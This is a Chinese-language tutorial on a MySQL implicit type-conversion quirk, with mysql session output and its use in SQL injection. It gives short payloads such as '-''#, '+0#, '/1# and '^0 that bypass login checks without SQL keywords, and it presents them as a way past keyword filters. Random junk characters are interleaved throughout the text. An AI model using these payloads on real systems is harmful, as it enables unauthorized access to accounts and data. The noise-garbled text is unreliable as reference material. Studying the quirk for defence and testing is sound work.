我们先来看这样一个场景。* g. C* {+ w" b1 |/ H
有以下表结构: ) R9 D u) U) V: D# @
5 E7 q6 E+ s+ pmysql> desc admin; {( N0 i$ D: Q
+----------+--------------+------+-----+---------+----------------+
: g7 d- X$ z8 N| Field | Type | Null | Key | Default | Extra |
3 k- l* m* @ R: N* l# e+----------+--------------+------+-----+---------+----------------+
3 Y* s% O" ]. z+ J: Z; x| id | mediumint(9) | NO | PRI | NULL | auto_increment |$ M- t0 D0 [6 R) a
| name | char(32) | NO | UNI | NULL | |
/ u' O* J9 R- {) R4 P+ b| password | char(32) | NO | UNI | NULL | |& @2 B0 M' m4 X$ E
+----------+--------------+------+-----+---------+----------------+! u; d" a( H* R I4 s
3 rows in set (0.00 sec)+ [+ ~. Q' }7 V8 c6 Q% Q" a
执行select * from admin;,成功返回所有记录内容。
4 W; `$ ?; o: \, u0 K
7 H0 X9 j; B( b$ a& c9 K+ P
- G0 Y2 a/ ~5 q; _6 q, q+----+--------+----------------------------------+' d% V& Q( s( |8 n
| id | name | password |
" }3 e4 h3 W+ M5 O: a+----+--------+----------------------------------+
% K3 S' z, j- a$ n) d2 s| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
& _3 ?. I. G# [, Z| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
; }1 ]7 a- e% i5 ] F; Q0 N- \+ l| 4 | n00b | ff80e8508d39047460921792273533a4 |. s$ e% U3 F9 j0 g
+----+--------+----------------------------------+
$ \+ l' o# E3 t, m3 rows in set (0.00 sec)
! N0 j7 C; D$ n# _: ? I) R& b+ b! R$ T执行select * from admin where name=”;,没有匹配到任何记录。
' m. e1 j8 h- v8 m, z4 C1 T, g
1 a/ N- ^7 b; u1 v( _$ d( xmysql> select * from admin where name = '';9 }# h- Q' ^# M7 m. T% r2 \
Empty set (0.00 sec)! d4 N% o; A* X; c
那么我们来执行select * from admin where name = ”-”;
+ M C/ R9 [1 W$ z1 \: p7 }$ J3 v {' H. p+ N0 a
% \6 N; J1 ?7 G7 I8 c7 ]; w
+----+--------+----------------------------------+, l( U( U' W7 L3 X* m" |
| id | name | password |2 Z- k- _' O( h" v5 H. e
+----+--------+----------------------------------+) r* |4 ?) i2 n5 N& r
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
0 U. }" ~5 T9 I1 y3 k| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |, A1 g8 S- f% b- n- K
| 4 | n00b | ff80e8508d39047460921792273533a4 |
% h: V% z, m& B( L, J+----+--------+----------------------------------+2 T# h' o: a/ M" W$ M. C# |2 w
3 rows in set, 3 warnings (0.00 sec)
, @& S" j! s# Y$ f4 _可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: # t0 `1 L& V0 j' B$ N I" f
9 J t0 U$ R. G# D: lmysql> show warnings;6 e6 B7 P4 |( l& [. ^
+---------+------+------------------------------------------3 J6 _3 i6 D- _/ P; A" S/ [8 k" R! w
| Level | Code | Message
( s+ ~: N* _0 }2 Q+---------+------+------------------------------------------' I; b) \7 X: q8 r
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin! ?/ B* {4 |& ^( m9 ~
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
2 y0 r$ n8 o: b8 G$ A+ j* _| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
* X8 X4 r9 b3 u6 P+---------+------+------------------------------------------% E' _- n/ n0 Y9 ~* a' z, k7 \4 `
3 rows in set (0.00 sec)- o/ z' R' f* u7 Q" ]4 b3 F# r7 C
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 2 Y4 V8 ?7 y4 L0 Z; s3 _
4 @% h2 [/ {/ L/ v0 R3 R
mysql> select ''-'';( A. w4 r3 V# g. {: j5 A5 l
+-------+
- O0 U% u0 Z% B- G) s; w. E! d- a$ a| ''-'' |
( A; n9 }/ h& {+ A( [: M+-------+
% j6 n9 _& F/ D* m1 h! y! e| 0 |. k; o }9 {3 r" K+ j8 ^
+-------+/ H% n/ k' {3 K A2 x s' ^
1 row in set (0.00 sec)
3 e0 e* u# c* o8 Y3 i9 m3 I" D返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: # z8 G- j% G5 ]0 P& c% |% N
0 c) I$ c3 c- r* T. ^ U
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
0 V# ^. V x6 h: g+-----------------------------------------------------+& w; Q: }6 h, ~" d* V9 q4 V6 W
| CAST((select name from admin limit 1,1) as DECIMAL) |0 o/ f3 m- y9 ~
+-----------------------------------------------------+9 }$ @! }' l. x) n# n% r! V/ ?5 f
| 0 |& e0 M, ?! r% G7 ?2 ?; e8 j- m7 V
+-----------------------------------------------------+3 C- M( Z2 u3 n9 [+ W
1 row in set, 1 warning (0.00 sec). i6 l# K+ S; E. s) R- L7 ?
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 4 [) k6 K3 ~0 v8 R' i
?) _, G% J+ OSQL注入场景: http://www.sqlzoo.net/hack/ ! }. v4 J& ?3 S! V" a3 H
/ ]9 n5 p4 B$ l# B# m2 `0 Q: P: F% D) S- b! E @ @
4 R# ]! f: F2 F1 U7 h" C, T. T m0 B; I8 W7 v* w
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 7 X7 b# i3 q0 o
% _$ f; C5 }5 ^: G
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ; C9 D# P- K2 X: l
2 g- G6 I% L; [
- p+ m( ?* P" D
, D/ L/ [! z( c" {! o
: t8 [, P) a0 F# f仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
3 j, O k9 s! K2 A2 T* L9 R n$ |4 Q+ z
1 c+ m5 h) a& ]* S7 l: u
& f t5 i* l6 e& w3 Q, \7 G6 i除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
& E: T& U# y+ o0 U, k8 s9 Y* A5 ^) j$ B2 U; X
4 @, |- o8 N) N7 z7 G/ B3 |
mysql> select ''/1;
( y, J3 M/ R1 Y# _: s' D: ]+ Y+------+
1 P* J9 D$ ?1 N| ''/1 |: q8 G! M, F) ~1 h( g7 M0 m3 B
+------+
3 k6 g# D c; s9 _+ f" n| 0 |: l! C6 a# G- d% d% N |
+------+
* ?# r2 J7 B5 L, P" w4 o% m1 row in set (0.00 sec)/ t$ M# x, l. X6 X/ d
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 * R' m" h: S+ f: |" I/ ]& r
) G7 L- c, ]5 P. ?- H0 l# a
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。$ `. S1 |3 L4 H1 {( u
|
|